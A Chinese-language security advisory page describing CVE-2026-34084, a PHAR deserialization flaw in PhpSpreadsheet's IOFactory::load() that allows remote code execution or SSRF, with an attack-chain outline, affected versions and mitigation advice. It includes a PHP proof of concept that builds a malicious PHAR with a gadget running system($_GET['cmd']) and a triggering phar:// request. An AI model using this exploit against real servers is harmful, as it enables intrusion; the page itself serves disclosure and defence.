IPBUF安全漏洞报告
English
CVE-2026-34084 CVSS 9.8 严重

CVE-2026-34084: PhpSpreadsheet 反序列化漏洞导致RCE

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-34084
漏洞类型
反序列化漏洞
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PhpSpreadsheet

相关标签

RCE反序列化PHARPhpSpreadsheetSSRFCVE-2026-34084

漏洞概述

PhpSpreadsheet 是一个用于读写电子表格文件的 PHP 库。在受影响版本中,当 `IOFactory::load()` 的文件名参数由用户控制时,攻击者可利用 PHP 流包装器(如 `phar://`)绕过安全检查,触发反序列化,从而导致远程代码执行或服务端请求伪造。

技术细节

该漏洞源于 PhpSpreadsheet 的 `File::assertFile()` 方法仅使用 `is_file()` 检查文件路径。攻击者可构造包含 PHP 流包装器(如 `phar://`, `ftp://`, `ssh2.sftp://`)的恶意文件名。当传入 `phar://` 路径时,`is_file()` 返回 true,但在后续的文件操作中,PHP 引擎会解析 PHAR 文件并反序列化其中的元数据。如果应用中存在可用的 gadget chain,攻击者即可触发反序列化攻击,实现远程代码执行。此外,利用 `ftp://` 等协议还可导致服务端请求伪造 (SSRF)。

攻击链分析

STEP 1
侦查
识别使用 PhpSpreadsheet 且 IOFactory::load() 接受用户输入的应用程序。
STEP 2
武器化
创建包含恶意序列化对象(利用应用中的 gadget chain)的 PHAR 文件。
STEP 3
投递
将生成的 PHAR 文件上传到目标服务器,并获取其存储路径。
STEP 4
利用
向 IOFactory::load() 传入包含 phar:// 包装器的恶意文件路径。
STEP 5
执行
PHP 引擎反序列化 PHAR 元数据,触发 __destruct() 方法,执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<?php // Step 1: Generate a malicious PHAR file $phar = new Phar('evil.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'test'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); // Hypothetical gadget class present in the application class VulnerableClass { function __destruct() { system($_GET['cmd']); // Arbitrary code execution } } // Embed the malicious object in PHAR metadata $object = new VulnerableClass(); $phar->setMetadata($object); $phar->stopBuffering(); // Step 2: Trigger the vulnerability in the target application // Assume the target code looks like this: // $filename = $_GET['file']; // IOFactory::load($filename); // Attacker sends request: // ?file=phar:///path/to/uploaded/evil.phar ?>

影响范围

PhpSpreadsheet < 1.30.3
PhpSpreadsheet >= 2.0.0, <= 2.1.14
PhpSpreadsheet >= 2.2.0, <= 2.4.3
PhpSpreadsheet >= 3.3.0, <= 3.10.3
PhpSpreadsheet >= 4.0.0, <= 5.5.0

防御指南

临时缓解措施
在调用 `IOFactory::load()` 之前,务必严格验证文件名参数,确保其不包含 `phar://`、`ftp://`、`ssh2.sftp://` 等流包装器。建议使用白名单机制限制文件路径。此外,确保上传的文件存储在 web 根目录之外并重命名,以防止攻击者预测路径。如果环境允许,可在 php.ini 中通过 `disable_functions` 禁用 `file_exists` 等相关函数(不推荐通用做法)或通过 WAF 拦截包含此类包装器的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表